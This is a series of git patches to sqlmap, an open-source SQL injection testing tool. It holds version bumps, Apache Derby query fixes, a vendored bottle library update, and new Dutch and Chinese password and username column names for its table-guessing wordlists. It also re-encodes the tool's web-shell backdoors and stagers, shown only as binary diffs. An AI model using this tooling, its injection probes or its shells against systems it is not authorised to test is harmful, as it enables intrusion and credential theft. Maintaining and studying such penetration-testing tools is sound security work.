'Y' - - if not kb.processNonCustom: - infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) - logger.info(infoMsg) - - testSqlInj = False - kb.testedParams.add(paramKey) if testSqlInj: diff --git a/lib/core/settings.py b/lib/core/settings.py index e37f909ab44..bdd4fcc045a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.6" +VERSION = "1.7.2.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From c5d7c542a2d0c7df8dc6d867e33a4d95bbdd61ff Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 12 Feb 2023 17:12:38 +0100 Subject: [PATCH 064/524] Update for Apache Derby (#5315) --- data/xml/queries.xml | 12 ++++++------ lib/core/agent.py | 2 +- lib/core/settings.py | 2 +- plugins/dbms/derby/fingerprint.py | 2 +- 4 files changed, 9 insertions(+), 9 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index a3e006ccb72..300e7097595 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -938,8 +938,8 @@ - - + + @@ -962,11 +962,11 @@ - + - + @@ -975,11 +975,11 @@ - + - + diff --git a/lib/core/agent.py b/lib/core/agent.py index 53ef84a0835..539183e3f3b 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1028,7 +1028,7 @@ def limitQuery(self, num, query, field=None, uniqueField=None): limitedQuery += " %s" % limitStr elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB, DBMS.CLICKHOUSE): - limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num) + limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery += " %s" % limitStr elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE, DBMS.VIRTUOSO): diff --git a/lib/core/settings.py b/lib/core/settings.py index bdd4fcc045a..c5e94944a29 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.7" +VERSION = "1.7.2.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/derby/fingerprint.py b/plugins/dbms/derby/fingerprint.py index 2a5a7797359..19d6f4c7c10 100644 --- a/plugins/dbms/derby/fingerprint.py +++ b/plugins/dbms/derby/fingerprint.py @@ -68,7 +68,7 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.DERBY logger.info(infoMsg) - result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1 {LIMIT 1 OFFSET 0})") + result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1 OFFSET 0 ROWS FETCH FIRST 1 ROW ONLY)") if result: infoMsg = "confirming %s" % DBMS.DERBY From 56177c3d2a7776f4afb8cbe2a1b52ce535060d61 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 Feb 2023 13:32:38 +0100 Subject: [PATCH 065/524] Minor update of common tables/columns --- data/txt/common-columns.txt | 32 ++++++++++++++++++++++++++++++++ data/txt/common-tables.txt | 8 ++++++++ lib/core/settings.py | 2 +- 3 files changed, 41 insertions(+), 1 deletion(-) diff --git a/data/txt/common-columns.txt b/data/txt/common-columns.txt index b2e00b3456d..0dd56273635 100644 --- a/data/txt/common-columns.txt +++ b/data/txt/common-columns.txt @@ -1844,6 +1844,10 @@ banner_id error language_id val +parol +familiya +imya +otchestvo # site:jp @@ -2731,6 +2735,34 @@ ssn account confidential +# site:nl + +naam +straat +gemeente +beschrijving +id_gebruiker +gebruiker_id +gebruikersnaam +wachtwoord +telefoon +voornaam +achternaam +geslacht +huisnummer +gemeente +leeftijd + +# site:cn + +yonghuming +mima +xingming +xingbie +touxiang +youxiang +shouji + # Misc u_pass diff --git a/data/txt/common-tables.txt b/data/txt/common-tables.txt index 8776e2e8864..6e9125c0e2c 100644 --- a/data/txt/common-tables.txt +++ b/data/txt/common-tables.txt @@ -3578,3 +3578,11 @@ users user_usergroup_map viewlevels weblinks + +# site:nl + +gebruikers + +# site:cn + +yonghu diff --git a/lib/core/settings.py b/lib/core/settings.py index c5e94944a29..d62b8d90b14 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.8" +VERSION = "1.7.2.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 01310a47fdddfa48e7f658b35d9a8225ac27ab64 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 Feb 2023 14:35:35 +0100 Subject: [PATCH 066/524] Minor update --- doc/CHANGELOG.md | 5 +++++ lib/core/settings.py | 2 +- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 1281080c040..a6c344a34e7 100644 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,3 +1,8 @@ +# Version 1.7 (2022-01-02) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.6...1.7) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/8?closed=1) + # Version 1.6 (2022-01-03) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.5...1.6) diff --git a/lib/core/settings.py b/lib/core/settings.py index d62b8d90b14..a871a89217b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.9" +VERSION = "1.7.2.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 15d9c8f9ede7e359fbe6d5f7555d3bd9e4faa2c9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 Feb 2023 14:44:56 +0100 Subject: [PATCH 067/524] Updating bottlepy to the latest revision --- lib/core/settings.py | 2 +- thirdparty/bottle/bottle.py | 80 ++++++++++++++++--------------------- 2 files changed, 35 insertions(+), 47 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index a871a89217b..71e4a85c51a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.10" +VERSION = "1.7.2.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/bottle/bottle.py b/thirdparty/bottle/bottle.py index 48aefbb69a3..916e2607d5f 100644 --- a/thirdparty/bottle/bottle.py +++ b/thirdparty/bottle/bottle.py @@ -69,12 +69,12 @@ def _cli_patch(cli_args): # pragma: no coverage # Imports and Python 2/3 unification ########################################## ############################################################################### -import base64, calendar, cgi, email.utils, functools, hmac, imp, itertools,\ +import base64, calendar, cgi, email.utils, functools, hmac, itertools,\ mimetypes, os, re, tempfile, threading, time, warnings, weakref, hashlib from types import FunctionType from datetime import date as datedate, datetime, timedelta -from tempfile import TemporaryFile +from tempfile import NamedTemporaryFile from traceback import format_exc, print_exc from unicodedata import normalize @@ -83,34 +83,6 @@ def _cli_patch(cli_args): # pragma: no coverage except ImportError: from json import dumps as json_dumps, loads as json_lds -# inspect.getargspec was removed in Python 3.6, use -# Signature-based version where we can (Python 3.3+) -try: - from inspect import signature - def getargspec(func): - params = signature(func).parameters - args, varargs, keywords, defaults = [], None, None, [] - for name, param in params.items(): - if param.kind == param.VAR_POSITIONAL: - varargs = name - elif param.kind == param.VAR_KEYWORD: - keywords = name - else: - args.append(name) - if param.default is not param.empty: - defaults.append(param.default) - return (args, varargs, keywords, tuple(defaults) or None) -except ImportError: - try: - from inspect import getfullargspec - def getargspec(func): - spec = getfullargspec(func) - kwargs = makelist(spec[0]) + makelist(spec.kwonlyargs) - return kwargs, spec[1], spec[2], spec[3] - except ImportError: - from inspect import getargspec - - py = sys.version_info py3k = py.major > 2 @@ -123,9 +95,17 @@ def getargspec(func): urlunquote = functools.partial(urlunquote, encoding='latin1') from http.cookies import SimpleCookie, Morsel, CookieError from collections.abc import MutableMapping as DictMixin + from types import ModuleType as new_module import pickle from io import BytesIO import configparser + # getfullargspec was deprecated in 3.5 and un-deprecated in 3.6 + # getargspec was deprecated in 3.0 and removed in 3.11 + from inspect import getfullargspec + def getargspec(func): + spec = getfullargspec(func) + kwargs = makelist(spec[0]) + makelist(spec.kwonlyargs) + return kwargs, spec[1], spec[2], spec[3] basestring = str unicode = str @@ -143,9 +123,12 @@ def _raise(*a): from Cookie import SimpleCookie, Morsel, CookieError from itertools import imap import cPickle as pickle + from imp import new_module from StringIO import StringIO as BytesIO import ConfigParser as configparser from collections import MutableMapping as DictMixin + from inspect import getargspec + unicode = unicode json_loads = json_lds exec(compile('def _raise(*a): raise a[0], a[1], a[2]', '', 'exec')) @@ -256,6 +239,7 @@ def __get__(self, obj, cls): setattr(cls, self.__name__, value) return value + ############################################################################### # Exceptions and Events ####################################################### ############################################################################### @@ -1353,7 +1337,7 @@ def _body(self): body.write(part) body_size += len(part) if not is_temp_file and body_size > self.MEMFILE_MAX: - body, tmp = TemporaryFile(mode='w+b'), body + body, tmp = NamedTemporaryFile(mode='w+b'), body body.write(tmp.getvalue()) del tmp is_temp_file = True @@ -2010,6 +1994,7 @@ def apply(self, callback, route): dumps = self.json_dumps if not self.json_dumps: return callback + @functools.wraps(callback) def wrapper(*a, **ka): try: rv = callback(*a, **ka) @@ -2057,7 +2042,7 @@ def __init__(self, name, impmask): """ Create a virtual package that redirects imports (see PEP 302). """ self.name = name self.impmask = impmask - self.module = sys.modules.setdefault(name, imp.new_module(name)) + self.module = sys.modules.setdefault(name, new_module(name)) self.module.__dict__.update({ '__file__': __file__, '__path__': [], @@ -2066,10 +2051,15 @@ def __init__(self, name, impmask): }) sys.meta_path.append(self) + def find_spec(self, fullname, path, target=None): + if '.' not in fullname: return + if fullname.rsplit('.', 1)[0] != self.name: return + from importlib.util import spec_from_loader + return spec_from_loader(fullname, self) + def find_module(self, fullname, path=None): if '.' not in fullname: return - packname = fullname.rsplit('.', 1)[0] - if packname != self.name: return + if fullname.rsplit('.', 1)[0] != self.name: return return self def load_module(self, fullname): @@ -2825,18 +2815,15 @@ def redirect(url, code=None): raise res -def _file_iter_range(fp, offset, bytes, maxread=1024 * 1024, close=False): - """ Yield chunks from a range in a file, optionally closing it at the end. - No chunk is bigger than maxread. """ +def _rangeiter(fp, offset, limit, bufsize=1024 * 1024): + """ Yield chunks from a range in a file. """ fp.seek(offset) - while bytes > 0: - part = fp.read(min(bytes, maxread)) + while limit > 0: + part = fp.read(min(limit, bufsize)) if not part: break - bytes -= len(part) + limit -= len(part) yield part - if close: - fp.close() def static_file(filename, root, @@ -2940,9 +2927,10 @@ def static_file(filename, root, if not ranges: return HTTPError(416, "Requested Range Not Satisfiable") offset, end = ranges[0] + rlen = end - offset headers["Content-Range"] = "bytes %d-%d/%d" % (offset, end - 1, clen) - headers["Content-Length"] = str(end - offset) - if body: body = _file_iter_range(body, offset, end - offset, close=True) + headers["Content-Length"] = str(rlen) + if body: body = _closeiter(_rangeiter(body, offset, rlen), body.close) return HTTPResponse(body, status=206, **headers) return HTTPResponse(body, **headers) @@ -3359,7 +3347,7 @@ def run(self, handler): class FapwsServer(ServerAdapter): - """ Extremely fast webserver using libev. See http://www.fapws.org/ """ + """ Extremely fast webserver using libev. See https://github.com/william-os4y/fapws3 """ def run(self, handler): # pragma: no cover depr(0, 13, "fapws3 is not maintained and support will be dropped.") @@ -4276,7 +4264,7 @@ def wrapper(*args, **kwargs): tplvars.update(result) return template(tpl_name, **tplvars) elif result is None: - return template(tpl_name, defaults) + return template(tpl_name, **defaults) return result return wrapper From 1f82d9587a78ecee9b9e8274d83a359cc59f546b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 Feb 2023 15:08:49 +0100 Subject: [PATCH 068/524] Minor patch --- lib/core/settings.py | 2 +- lib/core/threads.py | 18 +++++++++++------- 2 files changed, 12 insertions(+), 8 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 71e4a85c51a..7be8208c3d1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.11" +VERSION = "1.7.2.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/threads.py b/lib/core/threads.py index 4999b84919c..8b5a21deff2 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -8,6 +8,7 @@ from __future__ import print_function import difflib +import sqlite3 import threading import time import traceback @@ -227,16 +228,19 @@ def _threadFunction(): if conf.get("verbose") > 1 and isinstance(ex, SqlmapValueException): traceback.print_exc() - except: + except Exception as ex: print() if not kb.multipleCtrlC: - from lib.core.common import unhandledExceptionMessage - - kb.threadException = True - errMsg = unhandledExceptionMessage() - logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) - traceback.print_exc() + if isinstance(ex, sqlite3.Error): + raise + else: + from lib.core.common import unhandledExceptionMessage + + kb.threadException = True + errMsg = unhandledExceptionMessage() + logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) + traceback.print_exc() finally: kb.multiThreadMode = False From 25fe5dce211366cd41dafc8fc304770e4008d9fb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 Feb 2023 15:17:09 +0100 Subject: [PATCH 069/524] Minor update --- .github/ISSUE_TEMPLATE/bug_report.md | 8 ++++---- lib/core/settings.py | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md index b7753a2553d..0a2d0fe4aea 100644 --- a/.github/ISSUE_TEMPLATE/bug_report.md +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -21,10 +21,10 @@ A clear and concise description of what you expected to happen. If applicable, add screenshots to help explain your problem. **Running environment:** - - sqlmap version [e.g. 1.3.5.93#dev] - - Installation method [e.g. git] - - Operating system: [e.g. Microsoft Windows 10] - - Python version [e.g. 3.5.2] + - sqlmap version [e.g. 1.7.2.12#dev] + - Installation method [e.g. pip] + - Operating system: [e.g. Microsoft Windows 11] + - Python version [e.g. 3.11.2] **Target details:** - DBMS [e.g. Microsoft SQL Server] diff --git a/lib/core/settings.py b/lib/core/settings.py index 7be8208c3d1..3a038d91aad 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.12" +VERSION = "1.7.2.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d5547d908ccb79519a3852e7d0b46ab41b7be559 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 Feb 2023 15:20:15 +0100 Subject: [PATCH 070/524] Periodic recloak --- data/shell/backdoors/backdoor.asp_ | Bin 243 -> 243 bytes data/shell/backdoors/backdoor.aspx_ | Bin 417 -> 417 bytes data/shell/backdoors/backdoor.jsp_ | Bin 359 -> 359 bytes data/shell/backdoors/backdoor.php_ | Bin 469 -> 469 bytes data/shell/stagers/stager.asp_ | Bin 1201 -> 1201 bytes data/shell/stagers/stager.aspx_ | Bin 529 -> 529 bytes data/shell/stagers/stager.jsp_ | Bin 1321 -> 1321 bytes data/shell/stagers/stager.php_ | Bin 379 -> 379 bytes data/udf/mysql/linux/32/lib_mysqludf_sys.so_ | Bin 2512 -> 2512 bytes data/udf/mysql/linux/64/lib_mysqludf_sys.so_ | Bin 3200 -> 3200 bytes .../mysql/windows/32/lib_mysqludf_sys.dll_ | Bin 4549 -> 4549 bytes .../mysql/windows/64/lib_mysqludf_sys.dll_ | Bin 5267 -> 5267 bytes .../linux/32/10/lib_postgresqludf_sys.so_ | Bin 2639 -> 2639 bytes .../linux/32/11/lib_postgresqludf_sys.so_ | Bin 2640 -> 2640 bytes .../linux/32/8.2/lib_postgresqludf_sys.so_ | Bin 2018 -> 2018 bytes .../linux/32/8.3/lib_postgresqludf_sys.so_ | Bin 2016 -> 2016 bytes .../linux/32/8.4/lib_postgresqludf_sys.so_ | Bin 2020 -> 2020 bytes .../linux/32/9.0/lib_postgresqludf_sys.so_ | Bin 2729 -> 2729 bytes .../linux/32/9.1/lib_postgresqludf_sys.so_ | Bin 2652 -> 2652 bytes .../linux/32/9.2/lib_postgresqludf_sys.so_ | Bin 2652 -> 2652 bytes .../linux/32/9.3/lib_postgresqludf_sys.so_ | Bin 2652 -> 2652 bytes .../linux/32/9.4/lib_postgresqludf_sys.so_ | Bin 2652 -> 2652 bytes .../linux/32/9.5/lib_postgresqludf_sys.so_ | Bin 2639 -> 2639 bytes .../linux/32/9.6/lib_postgresqludf_sys.so_ | Bin 2640 -> 2640 bytes .../linux/64/10/lib_postgresqludf_sys.so_ | Bin 2632 -> 2632 bytes .../linux/64/11/lib_postgresqludf_sys.so_ | Bin 2633 -> 2633 bytes .../linux/64/12/lib_postgresqludf_sys.so_ | Bin 3257 -> 3257 bytes .../linux/64/8.2/lib_postgresqludf_sys.so_ | Bin 2561 -> 2561 bytes .../linux/64/8.3/lib_postgresqludf_sys.so_ | Bin 2562 -> 2562 bytes .../linux/64/8.4/lib_postgresqludf_sys.so_ | Bin 2563 -> 2563 bytes .../linux/64/9.0/lib_postgresqludf_sys.so_ | Bin 2633 -> 2633 bytes .../linux/64/9.1/lib_postgresqludf_sys.so_ | Bin 2693 -> 2693 bytes .../linux/64/9.2/lib_postgresqludf_sys.so_ | Bin 2693 -> 2693 bytes .../linux/64/9.3/lib_postgresqludf_sys.so_ | Bin 2693 -> 2693 bytes .../linux/64/9.4/lib_postgresqludf_sys.so_ | Bin 2693 -> 2693 bytes .../linux/64/9.5/lib_postgresqludf_sys.so_ | Bin 2633 -> 2633 bytes .../linux/64/9.6/lib_postgresqludf_sys.so_ | Bin 2632 -> 2632 bytes .../windows/32/8.2/lib_postgresqludf_sys.dll_ | Bin 4755 -> 4755 bytes .../windows/32/8.3/lib_postgresqludf_sys.dll_ | Bin 4766 -> 4766 bytes .../windows/32/8.4/lib_postgresqludf_sys.dll_ | Bin 4773 -> 4773 bytes .../windows/32/9.0/lib_postgresqludf_sys.dll_ | Bin 4231 -> 4231 bytes extra/cloak/cloak.py | 2 +- extra/icmpsh/icmpsh.exe_ | Bin 7009 -> 7009 bytes extra/runcmd/runcmd.exe_ | Bin 37206 -> 37206 bytes .../windows/shellcodeexec.x32.exe_ | Bin 2758 -> 2758 bytes lib/core/settings.py | 2 +- 46 files changed, 2 insertions(+), 2 deletions(-) diff --git a/data/shell/backdoors/backdoor.asp_ b/data/shell/backdoors/backdoor.asp_ index 5a81545e020ea8d948e3cde1aaf919b72d0d5144..bc912038c7d86ba294f7666855fbd54882c1fe05 100644 GIT binary patch literal 243 zcmV+5QGZRwz+!(bdj?saKaD;5;n8f6+}W~(3=UnrHep=d%{3Fz z9SWhR3tefdzO!1X!7A_q2yjn)*i&l|oa2+@tk6RODSgl0f&r;mH& zv|)cTx!?UL8ota>a^uH1Lx0n$m2U7QW($>~-<($f8iH?C!M50s|+!bcN~h^zC;eZ)j_YbGus=_2l*DqS)vYjIMfl>m!@ z3Bsy*&@8ty{kzC%uI->+K5 zn`CZhy8gf#Ae+Ka3d80ZYeon9r8E+h1>L%4p^!K;eQ3VgE?}Qb3M+ZYp5w0oHs*viu!UQcBtc~9r1&c z6s_m~@o3vb!k&=3h|Wp#^YVw+rF7`gw$T!lYQRUF7`q;NXDOB08E7MUNbUzS#KE|) zDA%@%gTI(S^GC+(bPZj(MbfmPBSbkT)^ys+H7*6=KSOL$#(hRHL3s_~ku=@Df9a5i z9F*3yi;8iB)Le_=?=myAQujT!$$ALe#LIi5lg=H)h~uwlv#M#|9^86#HR_}1B5uNA zrk)51m-JgK9 z4we~Vy!BA6s5!}Rpzm+|okIt;XB>4naDVDrhD@oXF+rcY*Lc1c`q=)&Cxxl|-m0`K zZPL+O2%n1*qRL1}eSQyq>qFR3tb6N#obcfm||RKk0!|k={8Cq LInkIxUuv?Osu0)B literal 417 zcmV;S0bc$+($XQA6R~A=H`Umd=-fhYe!N0AEvg=3li_)g{igEdbweT;dP~}OSV4FW%NGybm8c7~Ya?1%byy2OS z2hykCfS#pt$zsUs3@v<^YS*RoAY}v<>`~OpO%5c$5Jr6j#aw#>dt3wI=@k5*Q0#%y zAGPa-v9EuFtbD4&z&9e{QPu#2^Irzryz5$myvq!ci^7sxiH~RBX8c=K8t<~QAy5BP zoV%nD0hN1zs+)4v2u6IBH=>nyv(D+^?l9Bv=>)#{6&ZqDN9^_Xg-C#xq+= LI`E}%Wly}Dn^@JY diff --git a/data/shell/backdoors/backdoor.jsp_ b/data/shell/backdoors/backdoor.jsp_ index 8d01202f00f60d8abf559d8b1a3abc912e80d389..f798ea5778c5d1a0e0f78434e59d800d1da08dfa 100644 GIT binary patch literal 359 zcmV-t0hskb!+$Z#v>C=>w&B%E5@*^lNB6Grq( zPb#LPt_!T$&~i)YK!svLRR^lH_GgVUigp8Y$yC-iYI)0(^6)E6iTH4P3YO2v*0FW? z;yH(8K)|aBe*ZLWGYIzo4-slnOTkV`GC`N0fl>CPLll1Mk2GxU_^`|34;Vj<&;)~k zySnnZodTng85FOA;`ZGZZPXD0nbtpj4{hA_=|~h~97W>Qsq_p&V-)TV;eB=rf`{95 z`~af}W#PKg&IuBbN?q@G1l*c@&Fx21g3gTrFE?`b*nk5aevWaTfKjK;L@mw@h-x?R zVq(y8C*(u#Kr8P!%&z#iN?jv=@h~lMYQj_UlF^-W%ld_%{#z(_bUDzsnJd1C33sQa Fxl%|wva|pI literal 359 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 PC%jb)QuLcZT&!q};muFO literal 1201 zcmV;i1Wx-s(&8kZ7LRRpHC?8Am@w}FOAQ?qjy+U2NtaeE@?VTA5gFM*NT~kx`t6HK zt(jjsYUW@8&d@u1YVAJ{po`r!vHJ#G+GI9t3Ge)<-NJpm+2G~J+6n9fKCHiiX(A7Y z5MP+hVPtLG6&`yUy@G?FCT0$^!k*lkGTfkI=+8k6xgPJ)*ZMe9&SHBON(-4Izs;a$ zKQj}?x~OJ5(Xt)Yp-wvbJ`UpGj*!UJO&dbn5a#WNSi$lXfcn4Lu2gPZmA~pUmaUxk zd3k3_xKB4f(F-I%*Z+BINflW6N^g0BDx0#`>EjPGvV%KV?gdYaCu6vKI5e3I&VSno z^E=D5@1*&y!M>E>tZB=i!;q0}$8I=b8X{4xkYF90v&yVQJRm>jiY$Fot4_1c0f`q& zh!ttd016pIno3Q{iw^)eLwbER9X+-(17mk)?7Ls8hS5CS6!M!SXaiW#b(n>L=Kl)_ zTAw3=C*$+5H{&FnNabGdGt-;`@Tx7CT+Nh-GTZMz!U0ZFIrY3 zXJ63u>oxYUNJjNp0FQ#Jt%3;Oh=jN6jy;KXj`2CRU>=2T*cNL?{;4^z-S57}5t<4} zT4q3|NP$sv+E+%r;^1-+fH}L;BiKKq3lI=l!lFte`4D1^kPuuey%&9AdpsQ~B%^Jh zM0q$JOK`VTcF}0H0a%Mq%93{E2Uw1oXAh`)OZ6!yIoXl&hd0-onb)EtZ2W@DMb5uNGI|;)^L9EPEWm(PkZ0 z)<$?w)E8`%B7txGZbjn?Ch>)G;UDKVcX;Cq@@&-3v=sL;%-;LRaGrAK3K5A#MfDDY z&fLH9<$+Ah{AlJxSfdJvWPadC#pt25zN#1bZg@pvhqk*JW!Vah`@tUiX6ZkX_C!8~ zXO+Wob6R1;zNxC98;6P=J@Eg4CleCR3xaxPid0v|s#J$f1|R|RgITeHQ`XOm3kH^W ziHBuCU4!jbZ4~@JH?Zr{TF$jOcF&RE>PCVibU(*iaDAAQ^rRp3Tfas!4K6>3DxSj> 